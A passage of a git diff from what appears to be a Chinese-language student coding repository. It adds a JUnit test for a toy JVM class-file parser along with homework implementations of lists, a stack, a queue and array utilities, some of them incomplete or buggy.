+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.cmd.BiPushCmd;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.cmd.OneOperandCmd;
+import com.coderising.jvm.cmd.TwoOperandCmd;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.loader.ClassFileLoader;
+import com.coderising.jvm.method.Method;
+
+
+
+
+
+public class ClassFileloaderTest {
+
+	
+	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
+	
+	static String path1 = "/Users/jie/Documents/git/gitRepository/coding2017/group23/1028361767/mini-jvm/bin";
+	static String path2 = "/tmp";
+	
+	static ClassFile clzFile = null;
+	static {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		clzFile = loader.loadClass(className);
+		clzFile.print();
+	}
+	
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1056, byteCodes.length);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+    
+    
+   	private String byteToHexString(byte[] codes ){
+   		StringBuffer buffer = new StringBuffer();
+   		for(int i=0;i<codes.length;i++){
+   			byte b = codes[i];
+   			int value = b & 0xFF;
+   			String strHex = Integer.toHexString(value);
+   			if(strHex.length()< 2){
+   				strHex = "0" + strHex;
+   			}		
+   			buffer.append(strHex);
+   		}
+   		return buffer.toString();
+   	}
+    
+    /**
+     * ----------------------------------------------------------------------
+     */
+    
+    
+    @Test
+    public void testVersion(){    			
+		
+		Assert.assertEquals(0, clzFile.getMinorVersion());
+		Assert.assertEquals(52, clzFile.getMajorVersion());
+		
+    }
+    
+    @Test
+    public void testConstantPool(){
+    	
+
+		ConstantPool pool = clzFile.getConstantPool();
+		
+		Assert.assertEquals(53, pool.getSize());
+	
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+			Assert.assertEquals(2, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+		}
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+			Assert.assertEquals(4, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+		}
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+			Assert.assertEquals("name", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(6);
+			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(7);
+			Assert.assertEquals("age", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(8);
+			Assert.assertEquals("I", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(9);
+			Assert.assertEquals("<init>", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(10);
+			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(11);
+			Assert.assertEquals("Code", utf8Info.getValue());
+		}
+		
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
+			Assert.assertEquals(3, methodRef.getClassInfoIndex());
+			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+			Assert.assertEquals(9, nameAndType.getIndex1());
+			Assert.assertEquals(14, nameAndType.getIndex2());
+		}
+		//抽查几个吧
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
+			Assert.assertEquals(1, methodRef.getClassInfoIndex());
+			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+		}
+    }
+    @Test
+    public void testClassIndex(){
+    	
+    	ClassIndex clzIndex = clzFile.getClzIndex();
+    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+    	
+    	
+    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+    }
+    
+    /**
+     * 下面是第三次JVM课应实现的测试用例
+     */
+    @Test
+    public void testReadFields(){
+   
+    	List<Field> fields = clzFile.getFields();
+    	Assert.assertEquals(2, fields.size());
+    	{
+    		Field f = fields.get(0);
+    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
+    	}
+    	{
+    		Field f = fields.get(1);
+    		Assert.assertEquals("age:I", f.toString());
+    	}
+    }
+    @Test
+    public void testMethods(){
+   
+    	List<Method> methods = clzFile.getMethods();
+    	ConstantPool pool = clzFile.getConstantPool();
+    	
+    	{
+    		Method m = methods.get(0);    		
+    		assertMethodEquals(pool,m,
+    				"<init>",
+    				"(Ljava/lang/String;I)V",
+    				"2ab7000c2a2bb5000f2a1cb50011b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(1);    
+    		assertMethodEquals(pool,m,
+    				"setName",
+    				"(Ljava/lang/String;)V",
+    				"2a2bb5000fb1");
+    		
+    	}
+    	{
+    		Method m = methods.get(2);    
+    		assertMethodEquals(pool,m,
+    				"setAge",
+    				"(I)V",
+    				"2a1bb50011b1");
+    	}
+    	{
+    		Method m = methods.get(3); 
+    		assertMethodEquals(pool,m,
+    				"sayHello",
+    				"()V",
+    				"b2001c1222b60024b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(4);    
+    		assertMethodEquals(pool,m,
+    				"main",
+    				"([Ljava/lang/String;)V",
+    				"bb000159122b101db7002d4c2bb6002fb1");
+    	}
+    }
+    
+    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
+    	String methodName = pool.getUTF8String(m.getNameIndex());
+		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
+		String code = m.getCodeAttr().getCode();
+		Assert.assertEquals(expectedName, methodName);
+		Assert.assertEquals(expectedDesc, methodDesc);
+		Assert.assertEquals(expectedCode, code);
+    }
+    
+    @Test
+    public void testByteCodeCommand(){
+    	{
+	    	Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
+	    	ByteCodeCommand [] cmds = initMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: invokespecial #12", cmds[1]);
+	    	assertOpCodeEquals("4: aload_0", cmds[2]);
+	    	assertOpCodeEquals("5: aload_1", cmds[3]);
+	    	assertOpCodeEquals("6: putfield #15", cmds[4]);
+	    	assertOpCodeEquals("9: aload_0", cmds[5]);
+	    	assertOpCodeEquals("10: iload_2", cmds[6]);
+	    	assertOpCodeEquals("11: putfield #17", cmds[7]);
+	    	assertOpCodeEquals("14: return", cmds[8]);
+    	}
+    	
+    	{
+	    	Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
+	    	ByteCodeCommand [] cmds = setNameMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: aload_1", cmds[1]);
+	    	assertOpCodeEquals("2: putfield #15", cmds[2]);
+	    	assertOpCodeEquals("5: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
+	    	ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: getstatic #28", cmds[0]);
+	    	assertOpCodeEquals("3: ldc #34", cmds[1]);
+	    	assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
+	    	assertOpCodeEquals("8: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method mainMethod = this.clzFile.getMainMethod();
+	    	
+	    	ByteCodeCommand [] cmds = mainMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: new #1", cmds[0]);
+	    	assertOpCodeEquals("3: dup", cmds[1]);
+	    	assertOpCodeEquals("4: ldc #43", cmds[2]);
+	    	assertOpCodeEquals("6: bipush 29", cmds[3]);
+	    	assertOpCodeEquals("8: invokespecial #45", cmds[4]);
+	    	assertOpCodeEquals("11: astore_1", cmds[5]);
+	    	assertOpCodeEquals("12: aload_1", cmds[6]);
+	    	assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
+	    	assertOpCodeEquals("16: return", cmds[8]);
+    	}
+    	
+    }
+   
+    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
+    	
+    	String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
+    	
+    	if(cmd instanceof OneOperandCmd){
+    		if(cmd instanceof BiPushCmd){
+    			acctual += " " + ((OneOperandCmd)cmd).getOperand();
+    		} else{
+    			acctual += " #" + ((OneOperandCmd)cmd).getOperand();
+    		}
+    	}
+    	if(cmd instanceof TwoOperandCmd){
+    		acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
+    	}
+    	Assert.assertEquals(expected, acctual);
+    }
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/EmployeeV1.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/EmployeeV1.java
new file mode 100644
index 0000000000..12e3d7efdd
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/EmployeeV1.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.test;
+
+public class EmployeeV1 {
+	
+	
+	private String name;
+    private int age;
+    
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;        
+    }    
+
+    public void setName(String name) {
+        this.name = name;
+    }
+    public void setAge(int age){
+    	this.age = age;
+    }
+    public void sayHello() {        
+    	System.out.println("Hello , this is class Employee ");    	
+    }
+    public static void main(String[] args){
+    	EmployeeV1 p = new EmployeeV1("Andy",29);
+    	p.sayHello();    
+    	
+    }
+}
\ No newline at end of file
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/util/Util.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/util/Util.java
new file mode 100644
index 0000000000..0c4cc8c57c
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/util/Util.java
@@ -0,0 +1,24 @@
+package com.coderising.jvm.util;
+
+public class Util {
+	public static int byteToInt(byte[] codes){
+    	String s1 = byteToHexString(codes);
+    	return Integer.valueOf(s1, 16).intValue();
+    }
+    
+    
+    
+	public static String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/ArrayList.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/ArrayList.java
new file mode 100644
index 0000000000..2567132d2a
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/ArrayList.java
@@ -0,0 +1,83 @@
+package com.skomefen.list;
+
+public class ArrayList implements List {
+
+	
+	private int size = 0;
+		
+	private Object[] elementData = new Object[100];
+	
+	private Iterator iterator ;
+	
+	public void add(Object o){
+		
+		if(size<elementData.length){
+			elementData[size]=o;
+			size++;
+			return;
+		}
+		Object[] dest = new Object[size+100];
+		insertofArray(size, o, dest);
+		size++;
+	}
+	public void add(int index, Object o){
+		
+		if(index>size||index<0){
+			throw new IndexOutOfBoundsException("index:"+index+"size:"+size);
+		}
+		
+		if(size<elementData.length){
+			Object[] dest = new Object[elementData.length];
+			insertofArray(index, o, dest);
+			size++;
+			return;
+		}
+		Object[] dest = new Object[size+100];
+		insertofArray(index, o, dest);
+		size++;
+	}
+	private void insertofArray(int index, Object o, Object[] dest) {
+		dest[index]=o;
+		System.arraycopy(elementData, 0, dest, 0, index);
+		if((elementData.length-index)!=0){	
+			System.arraycopy(elementData, index, dest, index+1, elementData.length-1-index);
+			if(elementData[elementData.length-1]!=null){
+				dest[elementData.length]=elementData[elementData.length-1];
+			}
+		}
+		
+		elementData = dest;
+	}
+	
+	public Object get(int index){
+		if(index>size||index<0){
+			throw new IndexOutOfBoundsException("index:"+index+"size:"+size);
+		}
+		
+		return elementData[index];
+		
+	}
+	
+	public Object remove(int index){
+		if(index>size||index<0){
+			throw new IndexOutOfBoundsException("index:"+index+"size:"+size);
+		}	
+		Object revalue = elementData[index];
+		Object[] dest = new Object[elementData.length];
+		System.arraycopy(elementData, 0, dest, 0, index);
+		System.arraycopy(elementData, index+1, dest, index, elementData.length-1-index);
+		elementData = dest;
+		size--;
+		return revalue;
+	}
+	
+	public int size(){
+		return size;
+	}
+	
+	public Iterator iterator(){
+		iterator = new ArrayListIterator(this);
+		return iterator;
+	}
+	
+}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/ArrayListIterator.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/ArrayListIterator.java
new file mode 100644
index 0000000000..345d620c0e
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/ArrayListIterator.java
@@ -0,0 +1,25 @@
+package com.skomefen.list;
+
+public class ArrayListIterator implements Iterator {
+	private ArrayList array = null;
+	private int index = 0;
+	public ArrayListIterator(ArrayList array) {
+		this.array = array;
+	}
+	public boolean hasNext() {
+		if(array==null){
+			return false;
+		}
+		if(index<array.size()){
+			return true;
+		}
+		return false;
+	}
+
+	public Object next() {
+	
+		return array.get(index++);
+		
+	}
+
+}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/BinaryTreeNode.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/BinaryTreeNode.java
new file mode 100644
index 0000000000..e05e0bdef0
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/BinaryTreeNode.java
@@ -0,0 +1,32 @@
+package com.skomefen.list;
+
+public class BinaryTreeNode {
+	
+	private Object data;
+	private BinaryTreeNode left;
+	private BinaryTreeNode right;
+	
+	public Object getData() {
+		return data;
+	}
+	public void setData(Object data) {
+		this.data = data;
+	}
+	public BinaryTreeNode getLeft() {
+		return left;
+	}
+	public void setLeft(BinaryTreeNode left) {
+		this.left = left;
+	}
+	public BinaryTreeNode getRight() {
+		return right;
+	}
+	public void setRight(BinaryTreeNode right) {
+		this.right = right;
+	}
+	
+	public BinaryTreeNode insert(Object o){
+		return  null;
+	}
+	
+}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Iterator.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Iterator.java
new file mode 100644
index 0000000000..cec536e3b5
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Iterator.java
@@ -0,0 +1,7 @@
+package com.skomefen.list;
+
+public interface Iterator {
+	public boolean hasNext();
+	public Object next();
+
+}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/LinkedList.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/LinkedList.java
new file mode 100644
index 0000000000..f54d896e20
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/LinkedList.java
@@ -0,0 +1,252 @@
+package com.skomefen.list;
+
+
+public class LinkedList implements List {
+	private int size = 0;
+	private Node head;
+	private Node node;
+	private int point = 0;
+	private LinkedListiterator iterator;
+
+	public void add(Object o){
+		insertoflist(size, o);
+	}
+	
+	public void add(int index , Object o){
+		if(index>size||index<0){
+			throw new IndexOutOfBoundsException("index:"+index+"size:"+size);
+		}
+		insertoflist(index, o);
+		
+		
+	}
+	public Object get(int index){
+		if(index>=size||index<0){
+			throw new IndexOutOfBoundsException("index:"+index+"size:"+size);
+		}
+		if(head==null){
+			return null;
+		}
+		if(index==point){
+			return node.data;
+		}
+		this.point=0;
+		node = head;
+		while(index>=this.point){
+			
+			if(index==point){
+				return node.data;
+			}
+			point++;
+			node = node.next;
+		}
+		return null;
+	}
+	public Object remove(int index){
+		if(index>=size||index<0){
+			throw new IndexOutOfBoundsException("index:"+index+"size:"+size);
+		}
+		size--;
+		if(index==(this.point+1)){
+			Object o =node.next.data;
+			node.next = node.next.next;
+			return o;
+		}
+		this.point = 0;
+		if(index==0){
+			head = head.next;
+			Object o =head.data;
+			node = head;
+			return o;
+		}
+		
+		Object o = null;
+		while(index<=(this.point+1)){
+			if(index==(this.point+1)){
+				o =node.next.data;
+				node.next = node.next.next;
+				
+			}
+			point++;
+			node = node.next;
+		}
+		return o;
+	}
+	
+	public int size(){
+		
+		return size;
+	}
+	
+	public void addFirst(Object o){
+		add(0,o);
+	}
+	public void addLast(Object o){
+		add(size,o);
+	}
+	public Object removeFirst(){
+		if(head==null){
+			return null;
+		}
+		remove(0);
+		return null;
+	}
+	public Object removeLast(){
+		if(head==null){
+			return null;
+		}
+		remove(size-1);
+		return null;
+	}
+	public Iterator iterator(){
+		iterator = new LinkedListiterator(this);
+		return iterator;	
+	}
+	
+	
+	private static  class Node{
+		private Object data;
+		private Node next;
+		
+		
+	}
+	
+	private void insertoflist(int index,Object o){
+		
+		if(index>size||index<0){
+			throw new IndexOutOfBoundsException("index:"+index+"size:"+size);
+		}
+		
+		if(head==null){
+			head = new Node();
+			head.data=o;
+			head.next=new Node();
+			size++;
+			node = head;
+			this.point = 0;
+			return;
+		}
+		if(index==(this.point+1)){
+			pointlast(index, o);
+			return;
+		}
+		//head不等于空，先从head顺序往下找
+		this.point = 0;
+		if(index == this.point){
+			Node next = head;
+			head = new Node();
+			head.next = next;
+			head.data = o;
+			node = head;//当前节点为head
+			this.point = index;
+			size++;
+			return;
+		}
+		do{
+			if(index==(this.point+1)){
+				pointlast(index, o);
+				return;
+			}
+			node = node.next;
+			this.point++;
+		}while(index>(this.point+1));
+		
+	}
+
+	private void pointlast(int index, Object o) {
+		if(index==(this.point+1)){
+			if(index==size){//index插入List结尾
+				this.point = this.point+1;
+				node = node.next;
+				node.data=o;
+				node.next = new Node();
+				size++;
+				return;
+			}
+			this.point = this.point+1;
+			Node next = node.next;//从上一个node获取下一个node
+			node.next = new Node();//上一个节点指向新建节点
+			node = node.next;//获取新建节点
+			node.data=o;//新建节点获取值
+			node.next = next;//新建节点指向下一个节点
+			size++;
+			return;
+		}
+	}
+	
+	/**
+	 * 把该链表逆置
+	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
+	 */
+	public  void reverse(){		
+		
+	}
+	
+	/**
+	 * 删除一个单链表的前半部分
+	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+
+	 */
+	public  void removeFirstHalf(){
+		
+	}
+	
+	/**
+	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+	 * @param i
+	 * @param length
+	 */
+	public  void remove(int i, int length){
+		
+	}
+	/**
+	 * 假定当前链表和listB均包含已升序排列的整数
+	 * 从当前链表中取出那些listB所指定的元素
+	 * 例如当前链表 = 11->101->201->301->401->501->601->701
+	 * listB = 1->3->4->6
+	 * 返回的结果应该是[101,301,401,601]  
+	 * @param list
+	 */
+	public  int[] getElements(LinkedList list){
+		return null;
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 从当前链表中中删除在listB中出现的元素 
+
+	 * @param list
+	 */
+	
+	public  void subtract(LinkedList list){
+		
+	}
+	
+	/**
+	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+	 */
+	public  void removeDuplicateValues(){
+		
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+	 * @param min
+	 * @param max
+	 */
+	public  void removeRange(int min, int max){
+		
+	}
+	
+	/**
+	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+	 * @param list
+	 */
+	public  LinkedList intersection( LinkedList list){
+		return null;
+	}
+}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/LinkedListiterator.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/LinkedListiterator.java
new file mode 100644
index 0000000000..c04de32a93
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/LinkedListiterator.java
@@ -0,0 +1,25 @@
+package com.skomefen.list;
+
+public class LinkedListiterator implements Iterator {
+
+	private LinkedList link = null;
+	private int index = 0;
+	public LinkedListiterator(LinkedList link) {
+		this.link = link;
+	}
+	public boolean hasNext() {
+		if(link==null){
+			return false;
+		}
+		if(index<link.size()){
+			return true;
+		}
+		return false;
+	}
+
+	public Object next() {
+	
+		return link.get(index++);
+		
+	}
+}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/List.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/List.java
new file mode 100644
index 0000000000..bccc479faf
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/List.java
@@ -0,0 +1,9 @@
+package com.skomefen.list;
+
+public interface List {
+	public void add(Object o);
+	public void add(int index, Object o);
+	public Object get(int index);
+	public Object remove(int index);
+	public int size();
+}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Queue.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Queue.java
new file mode 100644
index 0000000000..197bf72cbe
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Queue.java
@@ -0,0 +1,26 @@
+package com.skomefen.list;
+
+public class Queue {
+	ArrayList elementData = new ArrayList(); 
+	public void enQueue(Object o){	
+		elementData.add(o);
+	}
+	
+	public Object deQueue(){
+		
+		if(elementData.size()!=0)
+			return elementData.remove(0);
+		return null;
+		
+	}
+	
+	public boolean isEmpty(){
+		if(elementData.size()==0)
+			return true;
+		return false;
+	}
+	
+	public int size(){
+		return elementData.size();
+	}
+}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Stack.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Stack.java
new file mode 100644
index 0000000000..088058fa3b
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Stack.java
@@ -0,0 +1,28 @@
+package com.skomefen.list;
+
+
+public class Stack {
+	private ArrayList elementData = new ArrayList();
+	
+	public void push(Object o){		
+		elementData.add(o);
+	}
+	
+	public Object pop(){
+		return elementData.remove(elementData.size()-1);
+	}
+	
+	public Object peek(){
+		return elementData.get(elementData.size()-1);
+	}
+	public boolean isEmpty(){
+		if(elementData.size()==0)
+			return true;
+		return false;
+	}
+	public int size(){
+		return elementData.size();
+	}
+	
+	
+}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/test/test.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/test/test.java
new file mode 100644
index 0000000000..dd10439beb
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-11/src/com/skomefen/test/test.java
@@ -0,0 +1,109 @@
+package com.skomefen.test;
+
+import static org.junit.Assert.*;
+
+import org.junit.Test;
+
+import com.skomefen.list.ArrayList;
+import com.skomefen.list.Iterator;
+import com.skomefen.list.LinkedList;
+import com.skomefen.list.Queue;
+import com.skomefen.list.Stack;
+
+
+
+
+
+
+public class test {
+
+	@Test
+	public void arrayListTest() {
+		ArrayList array = new ArrayList();
+		for(int i=0;i<200;i++){
+			array.add(""+i);
+		}
+		System.out.println(array);
+		for(int i=0;i<200;i++){
+			array.add(i,""+(i+1));
+		}
+		System.out.println(array);
+
+		array = new ArrayList();
+		array.add(1);
+		array.add(3);
+		array.add(4);
+
+		array.add(1,2);
+		System.out.println(array);
+		System.out.println(array.get(2));
+		System.out.println(array.size());
+
+		System.out.println(array.remove(2));
+		System.out.println(array);
+		
+		Iterator iterator = array.iterator();
+		while(iterator.hasNext()){
+			System.out.println(iterator.next());
+		}
+	}
+	
+	@Test
+	public	void StackTest(){
+		Stack s = new Stack();
+		System.out.println(s.isEmpty());
+		s.push("1");
+		s.push("2");
+		s.push("3");
+		System.out.println(s.peek());		
+		System.out.println(s.size());
+
+		System.out.println(s.pop());
+		System.out.println(s.peek());
+		System.out.println(s.size());
+		System.out.println(s.isEmpty());
+		
+
+	}
+	
+	@Test
+	public void QueueTest(){
+		Queue queue = new Queue();
+		queue.enQueue(1);
+		queue.enQueue(2);
+		queue.enQueue(3);
+		
+		assertEquals(false,queue.isEmpty());
+		assertEquals(3, queue.size());
+		assertEquals(1,queue.deQueue());
+		assertEquals(2,queue.deQueue());
+		assertEquals(1, queue.size());
+		assertEquals(3,queue.deQueue());
+		assertEquals(true,queue.isEmpty());
+
+	}
+	
+	@Test
+	public void LinkedListTest(){
+		LinkedList link = new LinkedList();
+		for(int i=0;i<10;i++){
+			link.add(""+i);
+		}
+		for(int i=0;i<10;i++){
+			System.out.println(link.get(i));
+		}
+		System.out.println(link);
+		System.out.println(link.remove(0));
+		System.out.println(link.remove(1));
+		Iterator iterator = link.iterator();
+		while(iterator.hasNext()){
+			System.out.print(iterator.next()+",");
+		}
+		link.add(0,1.1);
+		link.add(1,1.2);
+		System.out.println(link);
+		
+		
+		
+	}
+}
diff --git a/group23/1072760797-skomefen/day3-19/src/com/coderising/array/ArrayUtil.java b/group23/1072760797-skomefen/day3-19/src/com/coderising/array/ArrayUtil.java
new file mode 100644
index 0000000000..f1d0af35b9
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-19/src/com/coderising/array/ArrayUtil.java
@@ -0,0 +1,117 @@
+package com.coderising.array;
+
+public class ArrayUtil {
+	
+	/**
+	 * 给定一个整形数组a , 对该数组的值进行置换
+		例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
+		如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
+	 * @param origin
+	 * @return
+	 */
+	public void reverseArray(int[] origin){
+		int[] reverse = new int[origin.length];
+		for(int i=0;i<reverse.length;i++){
+			reverse[i]=origin[origin.length-i];
+		}
+		for(int i=0;i<reverse.length;i++){
+			reverse[i]=origin[i];
+		}
+	}
+	
+	/**
+	 * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}   
+	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：   
+	 * {1,3,4,5,6,6,5,4,7,6,7,5}  
+	 * @param oldArray
+	 * @return
+	 */
+	
+	public int[] removeZero(int[] oldArray){
+		int rz[]=null;
+		int index = 0;
+		for(int i=0;i<oldArray.length;i++){
+			if(oldArray[i]!=0){
+				index++;
+			}
+		}
+		rz = new int[index];
+		index=0;
+		for(int i=0;i<oldArray.length;i++){
+			if(oldArray[i]!=0){
+				rz[index]=oldArray[i];
+				index++;
+			}
+		}
+		return rz;
+	}
+	
+	/**
+	 * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
+	 * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
+	 * @param array1
+	 * @param array2
+	 * @return
+	 */
+	
+	public int[] merge(int[] array1, int[] array2){
+		return  null;
+	}
+	/**
+	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
+	 * 注意，老数组的元素在新数组中需要保持
+	 * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
+	 * [2,3,6,0,0,0]
+	 * @param oldArray
+	 * @param size
+	 * @return
+	 */
+	public int[] grow(int [] oldArray,  int size){
